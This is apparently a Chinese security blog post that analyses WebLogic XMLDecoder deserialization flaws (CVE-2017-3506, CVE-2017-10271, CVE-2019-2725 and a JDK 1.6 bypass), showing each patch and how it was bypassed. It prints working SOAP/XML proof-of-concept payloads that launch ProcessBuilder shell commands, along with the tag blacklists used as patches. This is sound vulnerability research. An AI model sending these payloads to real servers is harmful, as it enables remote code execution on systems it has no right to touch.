从CVE-2017-3506为起点至今，weblogic接二连三的吧爆出了大量的反序列化漏洞，而这些反序列化漏洞的很大一部分，都是围绕着XMLDecoder的补丁与补丁的绕过展开的，所以笔者以CVE-2017-3506为起点，到近期的CVE-2019-2725及其绕过来谈一谈这两年weblogic在XMLDecoder上的缝缝补补。
认识XMLDecoder
首先去看一下XMLDecoder的官方文档，如下：
XMLDecoder 类用于读取使用 XMLEncoder 创建的 XML 文档，用途类似于 ObjectInputStream。例如，用户可以使用以下代码片段来读取以 XML 文档形式（通过 XMLEncoder 类写入）定义的第一个对象：
XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("Test.xml")));
Object result = d.readObject();
d.close();作为一名java反序列化的研究人员，看到readObject()函数就应该带有一丝兴奋，至少代表我们找到入口了。
先不去管在weblogic上的利用，我们先构造一个特殊的poc.xml文件，让XMLDecoder去解析一下，看一下流程
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ls</string>
</void>
</array>
<void method="start"/>
</object>
</java>再写一个简单的利用XMLDecoder解析xml文件的demo，
import java.beans.XMLDecoder;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException, InterruptedException {
File file = new File("poc.xml");
XMLDecoder xd = null;
try {
xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
} catch (Exception e) {
e.printStackTrace();
}
Object s2 = xd.readObject();
xd.close();
}
}因为会触发命令执行，所以先直接在ProcessBuilder的start函数上打上断点，看一下调用栈，
我们关注的重点在于从xml到ProcessBuilder类被实例化的过程，所以去跟进一下DocumentHandler类，我们去看几个核心函数，
首先看到了构造函数，看一看到为不同的标签定义了不同的Handler，
再看一下startElement函数，它用来实例化对应的Element，并给当前handler设置Owner和Parent，关于Owner和Parent，直接引用@fnmsd写的内容：
parent
最外层标签的ElementHandler的parent为null，而后依次为上一级标签对应的ElementHandler。
owner
ElementHandler: 固定owner为所属DocumentHandler对象。
DocumentHandler: owner固定为所属XMLDecoder对象。
然后看一下endElement函数，
他会直接调用对应的ElementHandler的endElement函数，代码如下，
接下来一连串的Handler的getValueObject调用之后，到达了ObjectElementHandler的getValueObject函数，并在该函数内将我们标签内的值传给了Expression类，
在调用了getValue方法后，成功将ProcessBuilder类的实例返回，
接下来再返回给VoidElementHandler将start函数传过来，调用start函数，命令执行成功。
最后补上一张@ fnmsd给出的XMLDecoder解析xml的流程图以加深理解。
CVE-2017-3506
上一节已经可以看到，XMLDecoder在解析xml的时候，通过构造特殊的xml文件是可以造成命令执行的，接下来我们就可以来看一下第一个weblogic由于XMLDEcoder导致的命令执行漏洞CVE-2017-3506。
先上POC，
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string> open /Applications/Calculator.app/</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>调用链我们只跟到XMLDecoder.readObject()，因为剩下的都是上一节的内容了，
在processRequest函数中，会对传入的payload进行分割，把真正的xml交给readHeaderOld函数处理，
readHeaderOld函数则是将真正的xml传给XMLDecoder，并在后续的一连串调用中将XMLDecoder实例化调用其readObject函数，于是便造成了命令执行。
CVE-2017-10271
在CVE-2017-3506爆出后，我们去看一下官方的补丁，代码如下：
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}补丁非常的简单，一旦标签是object，系统报错，于是立马出了第二版的poc，CVE-2017-10271：
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string> open /Applications/Calculator.app/</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>乍一看这个poc，简直和CVE-2017-3506一模一样，唯一得到区别就是
<object class=”java.lang.ProcessBuilder”>变成了
<void class=”java.lang.ProcessBuilder”>
仅仅是类的标签类型由object变成了void，我们去看一下VoidElementHandler的源码：
可以看到VoidElementHandler是ObjectElementHandler类的子类，这也就解释了为什么把object标签换成Void标签也同样可以造成命令执行。
CVE-2019-2725
时隔一年多，CVE-2019-2725爆出，这次的漏洞是要分两块来看的，
- 新爆出的存在反序列化的组件_async
- CVE-2017-10271的补丁被绕过
首先看第一点，在ProcessBuilder的start函数上打一个断点，先看一下async组件在处理xml时候的调用链（老规矩只追到XMLDecoder.readObject函数），
引用廖大神的分析思路，请求会经过webservice注册的21个Handler来处理，看一下HandlerIterator类，就能发现对应的21个Handler，
21个Handler里面AsyncResponseHandler应该是我们重点关注的那一个，跟进去看一下源码的handleRequest方法，
可以看到要想让程序往下走，必须保证var2有值，也就是RelatesTo有值，这也就是为什么payload里面有
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
这两行的原因。
关于WS-Addressing的使用，也可以去参考官方文档（https://www.w3.org/Submission/ws-addressing/），有助于深刻理解。
走过各种Handler后来到WorkAreaServerHandler，对xml进行了拆分，接下来的调用就和前面一样了（xml交给XMLDecoder，调用readObject方法），
分析完async组件后，就来到了另一个问题上，如何绕过CVE-2017-10271的补丁，老套路，我们先看一下补丁内容，
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}这次的补丁内容我们文字化一下：
- 禁用object、new、method标签
- 如果使用void标签，只能有index属性
- 如果使用array标签，且标签使用的是class属性，则它的值只能是byte
这次的补丁可以说是比上一次严格的多，前两点虽然很大程度上限制了我们不能随意生成对象，调用方法，但好在还有一个class标签可以使用，最关键的还在于第三点，它限制了我们的参数不能再是String类型，而只能是byte类型，所以我们的思路只能从这一点出发，整理一下思路，我们要寻找的是这样一个类：
- 他的成员变量是byte类型
- 在该类进行实例化的时候就能造成命令执行。
于是便有了oracle.toplink.internal.sessions.UnitOfWorkChangeSet来满足我们的需求。
看一下构造函数，该类会对传给它的byte值进行反序列化，可以看到这是一个标准的二次反序列化，于是满足二次反序列的payload应该都可以用，如AbstractPlatformTransactionManager、7u21等等。
具体payload如下:
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970">
<void index="0">
<byte>-84</byte>
...
...
</array></void></class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>关于二次反序列的原理不再一一分析，大佬们早已经给出了非常详尽的解释，有兴趣可以去廖大神的博客（http://xxlegend.com）学习一下，也可以选择读一下ysoserial的7u21模块代码就ok。
针对此次漏洞，官方给出的修复补丁处理比较简单，禁用class标签。
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("class")) {
throw new IllegalStateException("Invalid element qName:class");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int i = 0; i < attributes.getLength(); ++i) {
if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
}
}
}
if (qName.equalsIgnoreCase("array")) {
String attClass = attributes.getValue("class");
if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String lengthString = attributes.getValue("length");
if (lengthString != null) {
try {
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}不过7u21模块有一点要提一下，7u21模块利用的最后会通过将TemplatesImpl对象的_bytecodes变量动态生成为对象，于是该类的static block和构造函数便会自动执行，而这个类又是攻击者可以随便构造的，于是便造成了命令执行。
由于此次漏洞的payload是byte写的，而由于攻击利用类又是动态生成的，所以分析攻击者的代码是个比较麻烦的事情，所以下面给出如何将payload中攻击者代码还原出来的方法。
- 开启weblogic远程调试，并把断点打在ProcessBuilder类的start函数中（因为此时攻击类已经动态生成成功，但是没法直接在编译器里查看代码）
- 使用jps -l命令查看weblogic的pid
3、运行sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB命令查看对应PID的内存，
4、搜索内存中的动态生成类，并生成class文件，反编译一下，就可以看到攻击者写的自定义类了。
CVE-2019-2725绕过
最近网上又流传了CVE-2019-2725绕过的poc，如下：
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<array method="forName">
<string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
<array class="byte" length="3748">
...
</array>
</void>
</array>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>刚拿到poc的时候，看了一下思路，因为<class>标签被禁了，所以通过
<array method=”forName”>来绕过补丁。思路是比较清晰的，通过Class.forName(classname)来取到我们想要的类，从而绕过class标签被禁的问题。
但刚看到这个poc的时候，我第一个疑问就是，array居然可以使用method属性吗？所以立马去看了一下ArrayElementHandler类的内容，
只支持length标签，但是它是NewElementHandler的子类，那再去看看NewElementHandler
支持class标签，但是它是ElementHandler的子类，再去看一下ElementHandler
发现到最后也没找到它支持method属性。
马上去我自己的环境里面试一下，没法复现成功，一度以为这个poc是假的，但后来想了一下，我的环境里面只有1.7和1.8的jdk，会不会是jdk版本太高了，立马去1.6试一下，果然复现成功，看来1.6的XMLDecoder的代码和1.7\1.8不太一样。
去跟进一下jdk 1.6的XMLDecoder，根据原理去写一个简单一点的poc.xml，测试demo继续使用第一章的就行
<?xml version="1.0" encoding="UTF-8"?>
<java>
<array method="forName">
<string>java.lang.ProcessBuilder</string>
<void>
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open /Applications/Calculator.app/</string>
</void>
</array>
<void method="start" />
</void>
</array>
</java>发现jdk1.6的XMLDecoder代码简单很多，根本没有那么多的ElementHandler，直接统一放在ObjectHandler的代码里面处理。
而对标签的处理，也可以说是非常的朴实无华了，看一下startElement，
public void startElement(String var1, AttributeList var2) throws SAXException {
...
...
String var8 = (String)var3.get("method");
if (var8 == null && var6 == null) {
var8 = "new";
}
var4.setMethodName(var8);
...
...
} else if (var1 == "array") {
var14 = (String)var3.get("class");
Class var10 = var14 == null ? Object.class : this.classForName2(var14);
var11 = (String)var3.get("length");
if (var11 != null) {
var4.setTarget(Array.class);
var4.addArg(var10);
var4.addArg(new Integer(var11));
}我这里只截取关键部分代码，首先可以看到代码根本不管你的标签是什么，只要有methond属性，那就算作你的方法名，并且如果你的标签是array标签，而有没有class属性，自动给你补一个Class，完美契合需求，所以就可以直接通过Class.forName来取到我们需要的类了。
这样也就绕过了对class标签的过滤，不过只能在1.6的jdk利用。
思考与总结
根据近些年weblogic由于XMLDecoder导致的反序列漏洞的缝缝补补中，可以看到虽然绕过的poc层出不穷，但是利用的范围却越来越窄，从一开始的所有jdk通用，到7u21以下可以利用成功，再到最近的绕过已经只能在1.6利用成功，可以看到，保持jdk版本的高版本可以有效的防范java反序列化攻击。与此同时，对于基本用不到的weblogic组件，还是能删就删为好。
引用
http://www.lmxspace.com/2019/06/05/Xmldecoder%E5%AD%A6%E4%B9%A0%E4%B9%8B%E8%B7%AF/
https://blog.csdn.net/fnmsd/article/details/89889144
http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/
http://xxlegend.com/2019/04/30/CVE-2019-2725%E5%88%86%E6%9E%90/
还没有评论，来说两句吧...